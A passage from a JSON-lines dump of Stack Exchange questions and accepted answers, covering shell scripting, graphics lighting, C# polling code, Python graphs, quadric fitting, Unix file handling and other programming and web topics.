don't want word splitting or filename generation, always quote variable expansions and command substitutionsif you do want word splitting or filename generation, leave them unquoted but set $IFS accordingly and/or enable or disable filename generation if needed (set -f, set +f).Typically, in your example above, if you want to loop over the blank separated list of words in the output of xrandr, you'd need to:leave $IFS at its default value (or unset it) to split on blanksUse set -f to disable filename generation unless you're sure that xrandr never outputs any * or ? or [ characters (which are wildcards used in filename generation patterns)And then only use the split+glob operator (only leave command substitution or variable expansion unquoted) in the in part of the for loop:set -f; unset -v IFSfor i in $(xrandr); do whatever with $i; doneIf you want to loop over the (non-empty) lines of the xrandr output, you'd need to set $IFS to the newline character:IFS=''"  } 
{  "id": "_computergraphics.5330"  , "question": "On the Wikipedia page for the Phong model, it says that the ambient term is a constant, and just gets added on to the other terms. But on other pages like LearnOpenGL it says you should take the ambient term and multiply it by the color of the object. Which one is correct?"  , "title": "Ambient Lighting"  , "tags": "rendering;lighting"  , "accepted_answer": "Correct is the OpenGL way. If you had a white light ( let's say vec3(255,255,255) )and just simply added it to a blue object ( vec3(0,0,255) ), the object would seem to be white, which is wrong. But if you were to multiply these colors, the object would be fully illuminated and correctly blue (which is the desired product).The thing with ambient light is that it is only influenced by the ambient light intensity and by the color of the object, which means it is not influenced by the lights position, direction or anything of the sort. That is why you can think of it as simply adding it as a constant.We use ambient light mostly to simulate reflected light in the scene, which is very hard to simulate otherwise (without raytracing). It's a fairly good and cheap alternative."  } 
{  "id": "_webapps.42485"  , "question": "I have a web app, and I want to take a good screenshot of it, for its landing page.This is an example. Anyone know how to do it, on on a macbook airHere is an example"  , "title": "Web app for taking high res screenshots of my app"  , "tags": "screenshot"  , "accepted_answer": "First of all, use a computer app instead of a web app to take screenshot. Here are some good screenshot application for MacNext you need to set your screen resolution to the highest possible resolution and it must take the screenshot in a pretty good resolution. Also check if there's some settings for the screenshot application regarding to the resolution of images. Take the screenshot without any appOn Mac you can take screenshots without any additional app. See this to know how http://osxdaily.com/2010/05/13/print-screen-mac/Then you can use the image on the clipboard to edit in an image editing software. Read this for a trick to get high resolution screenshots in photoshop http://www.turbophoto.com/Photoshop-Tricks/screenshot-photoshop-trick/index.htm"  } 
{  "id": "_unix.349467"  , "question": "I want to assign a part of my current working directory path name to a variable and use it in a script inside the directory itself.For eg:If my pwd is :/home/desktop/project/ABC/abc/abc_123, is there a command to assign ABC to a variable, say $PROJECT_NAME? I tried dirname, but it seems to be returning '.' for input 'pwd', and anyway I need one more step behind than what dirname can supposedly return."  , "title": "How to retrieve a part of a path name and assign it to a variable?"  , "tags": "path;variable;tcsh;variable substitution"  , "accepted_answer": "Since you're tagging with tcsh:set project = $cwd:h:h:t:qWould set $project to the tail of the head of the head of the current directory (or basename of the dirname of the dirname). :q quotes the resulting text so no further expansions (like splitting or globbing) are done on it.pwd is the command to print the current working directory. That command is not built-in tcsh. The current working directory is (unsurprisingly, or at least less surprisingly that with ksh's $PWD) in the $cwd variable in tcsh."  } 
{  "id": "_unix.164751"  , "question": "I am not able to call a shell script program from javascript(for example if someone will click a button in webpage then a script will run and will throw some output)???"  , "title": "How to call a shell script from Javascript code?"  , "tags": "bash;javascript"  } 
{  "id": "_codereview.111764"  , "question": "There are 12 gates. Using our face recognition system, we check every person who tries to enter each gates. My MVC web application is to show the result data to the gate-keeper. And this is the important part. The people in the control center look closely at the current situations in real time.To put it simply, always two connections for a gate.Development EnvironmentEntity Framework 6ASP.NET MVC5SignalR for bidirectional communication with IIS8.5Simple FlowFace recognition completedThe recognition server is going to change a flag on a databaseMy polling job will catch that change within 0.3 secondsSend the result data to the clientswhile (true){    Thread.Sleep(300);    using (DisplayModel DPModel = new DisplayModel(NameOrConnstring))    {        // Get the result data if there are any flag changes.        var ResultData = DPModel.GateDisplay                         .Where(x => x.g_flag != false)                         .Select(x => new { x.a_acu_data_id, x.g_status }).ToList();        // If no result data was received and no observers were found ( gate connections ), skip this polling.        if (ResultData.Count > 0 && Observers.Count > 0)        {            // the first loop for each gates.            foreach (var Gatedata in ResultData)            {                string GateName = Gatedata.a_acu_data_id;                // See if a client has this current gate ID                if (Observers.ContainsKey(GateName))                {                    // Get the result data produced by the face recognition server                    GateViewDataModel ProcessedData = DPModel.DisplayViewData                            .Where(x => x.GATE_NUM == GateName)                            .Select(x => new GateViewDataModel                            {                                COMPANY_NAME = x.COMPANY_NAME,                                NAME = x.NAME,                                ENRO_IMG = x.ENRO_IMG,                                GATE_NUM = x.GATE_NUM,                                LOG_IMG = x.LOG_IMG,                                G_STATUS = x.G_STATUS,                                MODE = x.MODE,                                PERMIT_AREA = x.PERMIT_AREA                            }).ToList<GateViewDataModel>().First();                    if (ProcessedData.ENRO_IMG != null && ProcessedData.ENRO_IMG.Length > 0) ProcessedData.CONVERTED_ENRO_IMAGE = Convert.ToBase64String(enc.Decrypt(ProcessedData.ENRO_IMG, key));                    if (ProcessedData.LOG_IMG != null && ProcessedData.LOG_IMG.Length > 0) ProcessedData.CONVERTED_LOG_IMG = Convert.ToBase64String(enc.Decrypt(ProcessedData.LOG_IMG, key));                    // No need to send the original binary data.                    ProcessedData.ENRO_IMG = new byte[] { 0 };                    ProcessedData.LOG_IMG = new byte[] { 0 };                    // the second, nested loop for all the connections to this current gate.                    foreach (KeyValuePair<string, IHubCallerConnectionContext<dynamic>> dic in Observers[GateName])                    {                        // Server sent event by SignalR                        dic.Value.Caller.onReceived(GateName, ProcessedData);                    }                    // Initilaize the flag.                    var Entity = DPModel.GateDisplay.Single(x => x.a_acu_data_id == GateName);                    if (Entity != null)                    {                        Entity.g_flag = false;                        DPModel.SaveChanges();                    }                }            }        }    }}This code is set to run forever right after my application startup.What I just can't change isThe way I receive the result data. It would be ideal if the face recognition server could send the data directly to the each clients every time it finishes the recognition job. But unfortunately, it doesn't and I don't have enough time to change that right now.PerformanceWhen my polling catches all the changes at once (this will rarely happen though...), there's going to be 12 loops with two nested loops (two clients are supposed to get the data: one is for the gate-keeper and another is for the people in control center). It takes about 0.8s or 1.8s to complete distribution of the result data to each clients.This is \\$O(n^2)\\$, isn't it?"  , "title": "A polling method and nested loop"  , "tags": "c#;entity framework;signalr"  } 
{  "id": "_codereview.155875"  , "question": "Just the beginning of graphs API in Python:# Simple graph API in Python, implementation uses adjacent lists.# Classes: Graph, Depth_first_search, Depth_first_paths# Usage:# Creating new graph: gr1 = Graph(v) - creates new graph with no edges and v vertices;# Search object: gr2 = Depth_first_search(graph, vertex) - creates search object,# gr2.marked_vertex(vertex) - returns true if given vertex is reachable from source(above)# Path object: gr3 = Depth_first_paths(graph, vertex)- creates a new path object,# gr3.has_path(vertex) - thee same as above# gr3.path_to(vertex) - returns path from source vertex (to the given)class Graph:    class graph    def __init__(self, v_in):        constructor -  takes number of vertices and creates a graph         with no edges (E = 0) and an empty adjacent lists of vertices        self.V = v_in        self.E = 0        self.adj = []        for i in range(v_in):            self.adj.append([])    def V(self):        returns number of vertices        return self.V    def E(self):        returns number of edges        return self.E    def add_edge(self, v, w):        void, adds an edge to the graph        self.adj[v].append(w)        self.adj[w].append(v)        self.E += 1    def adj_list(self, v):        returns the adjacency lists of the vertex v        return self.adj[v]    def __str__(self):        to string method, prints the graph        s = str(self.V) +  vertices,  + str(self.E) +  edges\\n        for v in range(self.V):            s += str(v) + :             for w in self.adj[v]:                s += str(w) +              s += \\n        return sclass Depth_first_search:    class depth forst search, creates an object,    constructor takes graph and a vertex    def __init__(self, gr_obj, v_obj):        self.marked = [False] * gr_obj.V    self.cnt = 0    self.__dfs(gr_obj, v_obj)    def __dfs(self, gr, v):        void depth first search, proceed recursively,        mutates marked - marks the all possible to reach         from given (v) vertices; also mutates cnt - number of visited vert        self.marked[v] = True        self.cnt += 1        for w in gr.adj_list(v):            if self.marked[w] == False:                self.__dfs(gr, w)    def marked_vertex(self, w):        returns True if given vertex (w) is reachable        from vertex v        return self.marked[w]    def count(self):        returns number of visited verticles        (from given in the constructor vertex)        return self.cntclass Depth_first_paths:    class depth first paths, solves    single paths problem: given graph and a vertex (source vertex), find    a path to another vertex.    def __init__(self, gr_obj, v_obj):        self.marked = [False] * gr_obj.V        self.edge_to = [0] * gr_obj.V        self.s = v_obj        self.__dfs(gr_obj, v_obj)    def __dfs(self, gr, v):        void recursive depth first search, mutates array marked,        mutates counter (cnt), and creates a path (filling an array     edge_to)        self.marked[v] = True        for w in gr.adj_list(v):            if self.marked[w] == False:                self.edge_to[w] = v                self.__dfs(gr, w)    def has_path(self, v):    returns true if there is a path from the source    vertex to the given, else false    return self.marked[v]    def path_to(self, v):        returns path from source to the given vertex        if self.has_path(v) == False:            return None        path = []        x = v        while x != self.s:            path.insert(0, x)            x = self.edge_to[x]        path.insert(0, self.s)        return pathI've used classes not function because there is no need for global variables. How do you think build the rest graph algorithms on it? "  , "title": "Simple Graph in Python"  , "tags": "python;algorithm;python 3.x;graph;api"  , "accepted_answer": "I've reviewed your code and I can make the following remarks. I'm only going to review the Graph class for now so lets start:class Graph:    class graphHere the comment is redundant. We know its a Graph and we know its a class. Also note for completeness I like to write class Graph(object)def __init__(self, v_in):    constructor -  takes number of vertices and creates a graph    with no edges (E = 0) and an empty adjacent lists of vertices    self.V = v_in    self.E = 0    self.adj = []    for i in range(v_in):        self.adj.append([])Again the comment is redundant We know its a constructor and what it initializes. However as you may notice the real problem here is not the comment but what it describes. Those V, E, v_in parameters are too short and do not mean anything. If I  were to read the method body and not the class name I wouldn't be able to understand that they denote Vertices and Edges. So a better name for them would be vertices, edges and input_vertices. Note that we use lowercase names for class properties.def V(self):    returns number of vertices    return self.Vdef E(self):    returns number of edges    return self.EMore redundant notes as we know they return something. However the method names are wrong. Why V and E? And why do they return a number? I would suspect to return a list or an Object that I can query. A better name would be again vertices and edges.def add_edge(self, v, w):    void, adds an edge to the graph    self.adj[v].append(w)    self.adj[w].append(v)    self.E += 1def adj_list(self, v):    returns the adjacency lists of the vertex v    return self.adj[v]That's not too bad although I would remove the void remark and add a better explanation about the input assumptions. For example what happens if  do add_edge(set((1,2,3)), frozenset((4,5,6)))? Traceback error. So its better to specify that it assumes the input is integers.def __str__(self):    to string method, prints the graph    s = str(self.V) +  vertices,  + str(self.E) +  edges\\n    for v in range(self.V):        s += str(v) + :         for w in self.adj[v]:            s += str(w) +          s += \\n    return sOk nothing wrong here. I would only rename s to output or response so that I understand the meaning.In general I would say to try to keep the names consistent and meaningful so a reader will not have to guess whats going on."  } 
{  "id": "_cstheory.2651"  , "question": "Given RegEx A and B where the size of the compiled DFAs are m and n respectively, what is the upper bound on the size of the compile DFA for A|B? It shouldn't be hard to show that it can't be more than n*m but can a lower upper bound be shown?What about other related case:What is the expected case for real world examples? Is it less than n+m?What about the three part case with A, B and C?"  , "title": "upper bound on the size of a DFA for A|B given the DFAs for A and B?"  , "tags": "fl.formal languages;regular expressions;dfa"  } 
{  "id": "_unix.369764"  , "question": "I have a very large list of hostnames from which I am trying to print the TLD (.com, .net, .info, etc.) of each host.  The problem is that the hosts have their TLDs in different fields, so I can't tell cut or awk to statically print one field.Some example hostnames:examplehost.net                             # tld is 2nd field (period delimited)subdomain.otherhost.com                      # tld is 3rd fieldsubdomain.othersubdomain.yetanotherhost.info   # tld is 4th fieldAs a little workaround, I've just been adding a space to the end of each host that way I can include it in my regex pattern and grep for it.sed 's/$/ /g' listofhosts.txt | grep -Eo '\\.[a-z]{1,10} 'I was curious if there is a more elegant way to accomplish this."  , "title": "How can I use sed/grep/awk to print the TLD's from a list of hostnames that have the TLD in different fields?"  , "tags": "shell script;text processing"  } 
{  "id": "_unix.42157"  , "question": "While backing up some data (a 200 GB home directory) with rsync, I got an I/0 error for a particular file, after which rsync continued on normally with its backup. The problem source file showed as having a file size of 72 bytes.  I cancelled  rsync, and ran the same command again. This time that same file showed to be transferring data.. lots of data ...and more data, and more... I checked the destination file's size, and it was up to 13 GB! so I used Ctrl-c to cancel rsync.  On checking the source file size again, in Nautilus, it showed a size of 60.0 PB (Peta Bytes!) on a 500 GB drive.   Now, the main point of all this: Would/could deleting this file cause loss of data in other files, seeing that the file system can perceive it to be much bigger than it actually is... The file system is ext4.. I could just skip over it with an rsync exception, but I'm particularly interested in what could happen if it is deleted.            UPDATE: Both target and source are ext4 Regarding suggestions of it being a sparse file: If it is a sparse file, why would it show different sizes from one minute to the next?  The file was certainly(?) not in use at the time. It is a ~/.macromedia/Flash_Player/#SharedObjects/someting-or-other.sol file, of which there are many more such .sol files in that directory .. plus it did show an I/0 error on the first pass.     Also, according to man rsync, the suggested -S option is to handle  sparse files efficiently, not properly, so that suggests to me that even though I wasn't using -S it should copy a sparse file accurately in either case: which it didn't, and even it if it is a sparse file, being 60.0 Peta Bytes seems surely(?) to be an error in the file system, somewhere... and that is my main concern: If there is a glytch in the file system, could deleting that file have repercussions on other files?  More specifically: as it wrote 13 GB of data, and climbing! when I cancelled it, could it also delete 13 GB - 60 PB of data when I delete it?"  , "title": "File size of 60.0 PB is wrong. Can deleting it cause data loss?"  , "tags": "filesystems;hardware;io;corruption"  , "accepted_answer": "It looks like the source filesystem is damaged, typically either due to a kernel bug or to bad RAM (a damaged disk is more likely to result in unreadable files than corrupted data). At this point, all bets are off. However, if the corruption was very localized, it's only that one file's inode that's corrupted, and other files are undamaged, so you can safely delete the file. Note that there is no way to test this assumption.My recommendation is to:Do a RAM test, or plug the disk into another machine.Ensure that you have backed up all your data.Check the health of the disk with SMART, if possible.Run fsck.If the disk is still good, go on using it."  } 
{  "id": "_unix.325636"  , "question": "Found this while checking one of DB servers. The machines are Dell PowerEdge R720, running Red Hat Linux and a look through /proc/cpuinfo revealed 32 CPUs with 8 core each. It makes 32*8 = 256 cores. Does it mean, atleast theoretically, that this server can still not be overloaded CPUwise even if top or w outputs load average as 256? (if we chose to ignore whether memory and IO is capable of running that many processes at a time)[root@mercury ~]# cat /proc/cpuinfo | egrep 'processor|cores' | tail -4processor       : 30cpu cores       : 8processor       : 31cpu cores       : 8[root@mercury ~]#"  , "title": "Cores-per-CPU and load average"  , "tags": "cpu;load average"  } 
{  "id": "_unix.337172"  , "question": "I have a server:CentOS Linux release 7.3.1611 (Core)3.10.0-514.2.2.el7.x86_64 #1 SMP Tue Dec 6 23:06:41 UTC 2016 x86_64 x86_64 x86_64 GNU/LinuxI think its network connection cutout at one point (its back now). I haven't been able to find anything in /var/log/messages- maybe I just don't know what to look for?Essesntially I'm looking for two things: If there was a problem with the nic, If the server lost its internet connection.The second one is obviously harder to figure out (maybe impossible?). Obviously I should have some external monitoring solution, but from an educational perspective where would you look (locally on the host) to solve this mystery?"  , "title": "What system logs might tell me if a server lost its internet connection?"  , "tags": "linux;centos;networking;rhel;syslog"  , "accepted_answer": "Check the ring kernel buffer (dmesg) - you should see information for network connectivity events."  } 
{  "id": "_webmaster.74598"  , "question": "I am curious about information that gave me Google's Webmaster Tools. Because I see two different information about Google index of same webpage in same time.First information (sitemap files)I submitted sitemap.xml a couple of months ago, now I can see charts about how many pages were sent for indexation and how many of them were indexed. Right now it reports that 106 of total 113 pages were indexed. Second information (left menu -> Google index -> Index status)In Index status section there is information about number of indexed page, which is zero. In the lower chart I can see that it always was zero.I would like to ask is there any difference among these indices and what?"  , "title": "Two kinds of Google index"  , "tags": "google;google search console;sitemap;indexing;google index"  , "accepted_answer": "Google looks at things differently than we do. Sorry. That is just the way it is. Sometimes you have to see things from Google's perspective before the data makes sense.The Google Webmaster Tools data lags behind a couple of days and some elements a bit more. As far as the various Index Counts, this explains why the difference. However, there is no direct line between the sitemap and the number of pages indexed. The reason for this is simple. Google does not rely upon the sitemap exclusively and will find pages through it's spider. It is possible that the index has listed pages that no longer exist or pages due to bad links that are 404 pages or soft 404 pages. At one point, Google was reporting 2 times as many pages I actually had due to an error that created bad links. This should have resulted in hard 404 errors without a 404 page, but it took several months before Google began dropping these pages. It has not fully corrected itself after 6 months. This is because Google has not tried to hit all of these pages enough to de-list them.As for why Google is telling you that you have 0 index pages in the Index Status, I have no idea. You can check the number simply by doing a site:example.com style query in Google Search. But please understand that this number can fluctuate with index refreshes which happens several times a day. If the number based upon the search is not 0, then you have nothing to worry about. The GWT Index Status count has simply not been updated for what ever reason. Only God and Google knows why."  } 
{  "id": "_softwareengineering.285591"  , "question": "I'm thinking of the following two requests:Request 1:Load all static HTML, JavaScript, images, etc. the website framework so to speak. Then fire a second request to get dynamic content (say news items, latest posts).Request 2Send new HTML, JavaScript, images, etc. as required by dynamic content.I'm expecting the first request to be cached for subsequent times a user visits the website, and thus to be a non-issue for returning users. But for first-time users should I maybe build the entire content server-side and send it together in one request? Since in the approach above, both requests need to be responded to in order for the user to be able to use the website.Can I just leave it as two requests (easier for me to program, since I'm building single page app that relies on Ajax requests)? Or is there an easy way to build everything server side and avoid two requests the for first time users?... but wouldn't that break the caching mechanism, since the same URL would return partially different content each time?Is this a known issue with a known solution?"  , "title": "Separate requests for static and dynamic page content on first page load?"  , "tags": "web applications"  , "accepted_answer": "There are a couple things to consider here, at least when it comes to html content:Method 1:Loading a portion of the site that will remain static for the foreseeable future is good when the same users are expected to frequent the website and SEO is less of an issue*. You also have some more control over perceived performance; the 'static' content can prepare the user with a basic UI that will lazily load content. I would recommend this method for websites that are more 'app' than 'site', where content is not the main reason visitors use your site.Method 2:This is better for lots of one-time website visitors because there are less round trips to worry about. It is also better SEO because crawlers will see what the server generates*. It's also easier to maintain and update. I would recommend this for general-purpose sites that target a larger audience and contain a lot of mostly static content.CSS and JS can be loaded and cached immediately. There are few reasons to load CSS or JS at any time other than when the website is first loaded.*I don't have any sources handy, but I believe there has been some effort to make web crawlers capable of reading AJAX-generated content."  } 
{  "id": "_webapps.25538"  , "question": "Here's a screenshot of two long lists on one of the Trello boards we use at Stack Exchange:Both lists are fairly long - long enough to scroll. But one list looks longer than the other. What determines how long the gray container part of each list is? Why don't they just go down to the bottom of the window? They aren't stretching or compressing to display the same number of full cards - the left list shows 8 full cards while the right list shows 9 full cards. They also aren't stretching or compressing to round up or down to the nearest full card - you can see a portion of a card at the bottom of each list. (Both of these lists are scrolled all the way to the top, although to my eyes it does look like the list on the right is scrolled down a tiny bit. This is an optical illusion of some kind - I double checked.)So: what's the story here?"  , "title": "What determines the length of a Trello list?"  , "tags": "trello"  , "accepted_answer": "They should be given the same max height, i.e. they should be the same length if they would otherwise go off the board. If not, it's a bug.There's a known bug that you may be experiencing. If you are zoomed out and click the 'Add card', then click off, it can shorten the list.Most of this weirdness will go away with the new card composer, though. https://trello.com/c/pRlmLRWS"  } 
{  "id": "_webmaster.13961"  , "question": "I have read an article about sites like google and facebook using a redirect script to keep track of who clicks what links on the web. And since they have a lot of traffic, they are monitoring a lot users that are clicking a lot of links. However, they aren't the source of 100% of the links in the world, and thus they can not monitor every link that every user clicks on.However, we (the smaller websites) are also capable of monitoring what our visitors click on, though we have to do it on a much smaller scale (we don't have as many visitors as facebook and/or google). The only problem is, we don't collect enough data for it to be very useful to anyone but us. However, if someone were to pay owners of the small sites for their click data, and combine it into one big dataset, it could be very useful. In fact, it would probably be useful enough that some people would want to pay to have access to that data. I was wondering if there are any websites that use the business model described above (get small websites to sell you their data, and sell the combined data to other corporations). If anyone knows of such a site, it could be an interesting revenue source for webmasters. And if there is not such a site, then it could be an interesting idea for anyone wanting to start a business...NOTE: I'm asking this more out of curiosity than because I actually want to sell my user's click data (though I might consider it in the future)."  , "title": "Is it Possible to Earn Revenue by Selling Click Data?"  , "tags": "redirects;revenue"  , "accepted_answer": "I think if people want to find out this sort of thing they'd go to Alexa who track click data for people who install their toolbar."  } 
{  "id": "_scicomp.26105"  , "question": "I have a question regarding quadric fit to a set of points and corresponding normals (or equivalently, tangents). Fitting quadric surfaces to point data is well explored. Some works are as follows:Type-Constrained Direct Fitting of Quadric Surfaces, James Andrews, Carlo H. Sequin  Computer-Aided Design & Applications, 10(a), 2013, bbb-ccc Algebraic fitting of quadric surfaces to data, I. Al-Subaihi and G. A. Watson, University of DundeeFitting to projective contours is also covered by some works, such as this one.From all these works, I think Taubin's method for Quadric fitting is pretty popular:G. Taubin, Estimation of Planar Curves, Surfaces and Nonplanar Space Curves Defined by Implicit Equations, with Applications to Edge and Range Image Segmentation, IEEE Trans. PAMI, Vol. 13, 1991, pp1115-1138.Let me briefly summarize. A Quadric $Q$ can be written in the algebraic form:$$f(\\mathbf{c},\\mathbf{x}) = A x^2 + By^2 + Cz^2 + 2Dxy + 2Exz + 2Fyz + 2Gx + 2Hy + 2Iz + J$$where $\\mathbf{c}$ is the coefficient vector and $\\mathbf{x}$ are the 3D coordinates. Any point $\\mathbf{x}$ lies on the quadric $Q$ if $\\mathbf{x}^TQ\\mathbf{x}=0$, where:$$Q = \\begin{bmatrix}A & B & C & D \\\\B & E & F & G \\\\C & F & H & I \\\\D & G & I & J \\\\\\end{bmatrix}$$Algebraic Fit In principle, we would like to solve for the parameters thatminimize the sum of squared geometric distances between the points and the quadratic surface. Unfortunately, it turns out that this is a non-convex optimization problem with no known analytical solutions. Instead, a standard approach is to solve for an algebraic fit, that is to solve for the parameters$\\mathbf{c}$ that minimize:$$\\sum\\limits_{i=1}^{n} f(\\mathbf{c},\\mathbf{x}^i)^2 = \\mathbf{c}^T  M \\mathbf{c}$$with$$M = \\sum\\limits_{i=1}^{n} l(\\mathbf{x}^i)l(\\mathbf{x}^i)^T$$where $\\{\\mathbf{x}^i\\}$ are the points in the point cloud and$$l = [x^2, y^2, z^2, xy, xz, yz, x,y,z, 1]^T$$Notice that such direct minimization would yield the trivial solution with $\\mathbf{c}$ at the origin. This question has been studied extensively in theliterature. One resolution that has been found to work well in practice is Taubins method (cited above), introducing the constraint:$$\\| \\nabla_x f(\\mathbf{c},\\mathbf{x}^i) \\|^2 = 1$$This can be solved as follows: Let :$$N = \\sum\\limits_{i=1}^n l_x(\\mathbf{x}^i)l_x(\\mathbf{x}^i)^T+ l_y(\\mathbf{x}^i)l_y(\\mathbf{x}^i)^T + l_z(\\mathbf{x}^i)l_z(\\mathbf{x}^i)^T$$where subscripts denote the derivatives. The solution is given by the generalized Eigen decomposition, $(M \\lambda N) \\mathbf{c} = 0$. The best-fit parameter vector is equal to the Eigenvector corresponding to the smallest Eigenvalue. Main QuestionIn many applications, the normals of the point cloud are available (or computed). The normals of the quadric $\\mathbf{N}(x)$ can also be calculated by differentiating and normalizing the implicit surface:$$\\mathbf{N}(x) = \\frac{\\nabla f(\\mathbf{c},\\mathbf{x})}{\\|\\nabla f(\\mathbf{c},\\mathbf{x})\\|}$$where$$\\nabla f(\\mathbf{c},\\mathbf{x}) = 2\\begin{bmatrix}Ax + Dy + Fz + G \\\\ By + Dx + Ez + H \\\\ Cz + Ey + Fx + I \\\\ \\end{bmatrix}$$However, Taubin's method utilizes only the point geometry, and not the tangent space. And I am not aware of many methods, which are suitable for fitting quadrics such that the tangents of the quadric also match the tangents of underlying point cloud. I am looking for potential extensions of the method above, or any other to cover these first order derivatives.What I would like to achieve is maybe addressed partially in lower dimensional spaces, with more primitive surface (curve) types. For example, fitting lines to image edges, taking into consideration the gradient information is covered here. Fitting planes (a simple type of quadric) to 3D clouds is very common (link 1) or fitting spheres or cylinders can be fit to oriented point sets (link 2). So what I'm wondering is something similar, but the fitted primitive is a quadric.I would also welcome the analysis of the proposed method such as:What is the minimum number of oriented points required?What are the degenerate cases ?Can anything be said about robustness?Update:I would like to present a direction to follow. Formally, what I desire to achieve:$$\\| \\nabla f - \\mathbf{n} \\| = 0$$at the point $\\mathbf{x}$. Maybe it might be possible to fuse it with Taubin's method to come up with an additional constraint and minimize using Lagrange multipliers?"  , "title": "Fitting Implicit Surfaces to Oriented Point Sets"  , "tags": "computational geometry;regression;geometry;curve fitting;quadric"  } 
{  "id": "_cs.57814"  , "question": "A computer can only process numbers smaller than say $2^{64}$ in a single operation, so even an $O(1)$ algorithm only takes constant time if $n<2^{64}$. If I somehow had an array of $2^{1000}$ elements to process, even an $O(1)$ operation such as an index lookup will start to take longer as the index has to be calculated in multiple operations. I think it will take at least $O(\\log n)$.Similarly even if an algorithm has $O(\\log n)$ complexity, $\\log n$ cannot possibly grow larger than about a hundred, so could be ignored as no larger than a small constant.So, is it really meaningful to treat $O(1)$ and $O(\\log n)$ as different? The same applies of any difference of $\\log n$, like between $O(n)$, $O(n\\log n)$ and $O(n/\\log n)$."  , "title": "Is there a meaningful difference between O(1) and O(\\log n)?"  , "tags": "complexity theory;algorithm analysis;time complexity;asymptotics"  } 
{  "id": "_cstheory.8951"  , "question": "I was reading NP complete theory just thought.Is there any path of length k in given graphIs it polynomial time algorithm? "  , "title": "Path of length k in graph"  , "tags": "ds.algorithms;graph algorithms"  } 
{  "id": "_unix.77113"  , "question": "I'm having a hard time getting what ./ does.In the Linux Essentials books, it asks me in an exercise to delete a file named -file. After googling, I found that I need to do rm ./-file but I don't get why!"  , "title": "What does ./ mean?"  , "tags": "files;rm"  , "accepted_answer": "The . directory is the current directory. The directory .. is the upper level of that directory$ pwd/home/user$ cd docs; pwd   # change to directory 'docs'/home/user/docs$ cd .  ; pwd     # we change to the '.' directory, therefore we'll stay. No change/home/user/docs$ cd .. ; pwd     # back to up level/home/userIn Linux, commands options are introduced by the - sign, i.e., ls -l, so if you want to make any reference to a file beginning with - such as -file, the command would think you are trying to specify an option. For example, if you want to remove it:rm -filewill complain because it's trying to use the option file of the command rm. In this case you need to indicate where the file is. Being in the current directory, thus the . directory, you need to refer to that file as ./-file, meaning, in the directory ., the file -file. In this case the command rm won't think that's an option.rm ./-fileIt can be done, also, using --.From man rm:To  remove a file whose name starts with a '-', for example '-foo', use  one of these commands:rm -- -foorm ./-foo"  } 
{  "id": "_unix.350297"  , "question": "I have an embedded linux system with framebuffer only. Normally a Qt Application is running. During update situation the application is stoped and I would like to use the framebuffer device to show simple text and a progress bar.The whole thing should run out of a C/C++ application (not a shell/script) and should be as lightweight and with as less dependencies to the OS as possible. I will not need any keyboard, mouse, touchscreen or other input, just output to framebuffer.Does anyone have a tool recommondation for me? Thanks :)"  , "title": "Minimalistic Framebuffer showing text and progress only"  , "tags": "linux;embedded;console;framebuffer"  } 
{  "id": "_webapps.50370"  , "question": "I want to share a dropbox folder with a bunch of people at my university. I only have their university email adresses. I suspect most of them already have a private dropbox account associated with their personal email adresses, and they probably don't want to create a seperate account. Can I share a dropbox folder with them in such a way that they will be able to add it to their private accounts, without me having to ask for their private email adresses?If I share it with their uni adresses, will they get the option to add it to a different account (their personal accounts)? Will sharing a link allow them to use it like any other shared folder (not only view but also add and modify)? How do I go about this?"  , "title": "Sharing Dropbox Folders with Secondary Email adresses"  , "tags": "dropbox;file sharing"  , "accepted_answer": "No. You can invite your friends, but they have to make a separate account for each email they own.This also means that unless your university mates are not clever, they would already have upgraded their own dropbox by inviting their own 2nd email address, and you're out of people to invite."  } 
{  "id": "_unix.294406"  , "question": "I recently had a problem with a c program I wrote. According to ps it was stuck in a system call, even kill -9 didn't change anything about it.Even a restart didn't work, it was stuck forever in shutting down until I did a hard reset.How can this happen? At which point in a system call execution can a program be, apparently irreversibly, stuck like this? Or is there another way to actually end the process that I don't know about?"  , "title": "Why are processes stuck in system calls (sometimes) unkillable?"  , "tags": "process;kill;system calls"  } 
{  "id": "_softwareengineering.161481"  , "question": "A study shows that lines_written/time is language-independent and application-independent for most programmers. If this were true it would imply that the most terse a language is, the more productive a programmer can be on it.Where can this study be found?"  , "title": "A study shows that lines_written/time is language-independent for most programmers. Where can it be found?"  , "tags": "programming languages;productivity"  , "accepted_answer": "Well top result of web search for lines written time is programming language independent led me to an article that attributes this to The Mythical Man-Month by Brooks:Brooks is generally credited with the assertion that annual lines-of-code programmer productivity is constant,  independent of programming language. In making this assertion, Brooks cites multiple authors including [7] and [8]. Brooks states, Productivity seems constant in terms of elementary statements, a conclusion that is reasonable in terms of the thought a statement requires and the errors it may include. [1] (p. 94)...[1] F. P. Brooks. The Mythical Man-Month: Essays on Software Engineering.  Addison Wesley, Boston, MA, 1995.  ...  [7] W. M. Taliaffero. Modularity. the key to system growth potential.  IEEE Software, 1(3):245257, July 1971.  [8] R. W. Wolverton. The cost of developing largescale software.  IEEE Transactions on Computers, C-23(6):615636, June 1974.Article quoted above is Do Programming Languages Affect Productivity? A Case Study Using Data from Open Source Projects by D. Delorey, C. Knutson, S. Chun.For the sake of completeness note that article authors are skeptical about mentioned assumption:This statement, as well as the works it cites... appears to be based primarily on anecdotal evidence.Quite the opposite, they claim:We examine data collected from the CVS repositories of 9,999 open source projects hosted on SourceForge.net to test this assumption for 10 of the most popular programming languages in use in the open source community. We find that for 24 of the 45 pairwise comparisons, the programming language is a significant factor in determining the rate at which source code is written, even after accounting for variations between programmers and projects"  } 
{  "id": "_codereview.67079"  , "question": "I am using the Android library Retrofit for networking in my app. The library calls for creating a RestAdapter for making service calls. I want to use this same instance of the RestAdapter for all of my service calls. How is my setup for this scenario?Extending Application:public class CustomApplication extends Application {    private RestClient restClient = null;    public RestClient getRestClient() {        return restClient;    }    public void initRestClient() {        if (restClient == null) {            restClient = new RestAdapter.Builder().setEndpoint(BASE_URL).build().create(RestClient.class);        }    }}Initializing instance and making sure I have access to the instance in all my Activities, without explicitly having to get it for each Activity:public class BaseActivity extends Activity {    protected RestClient restClient;    @Override    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        ((CustomApplication) this.getApplication()).initRestClient();        restClient = ((CustomApplication) this.getApplication()).getRestClient();    }}Then all my Activities will extend BaseActivity."  , "title": "Android Global Variable Setup"  , "tags": "java;android"  , "accepted_answer": "This is a common problem, and a common solution is dependency injection. From Wikipedia:Dependency injection is a software design pattern in which one or more  dependencies (or services) are injected, or passed by reference, into  a dependent object (or client) and are made part of the client's  state. The pattern separates the creation of a client's dependencies  from its own behavior, which allows program designs to be loosely  coupled and to follow the dependency inversion and single  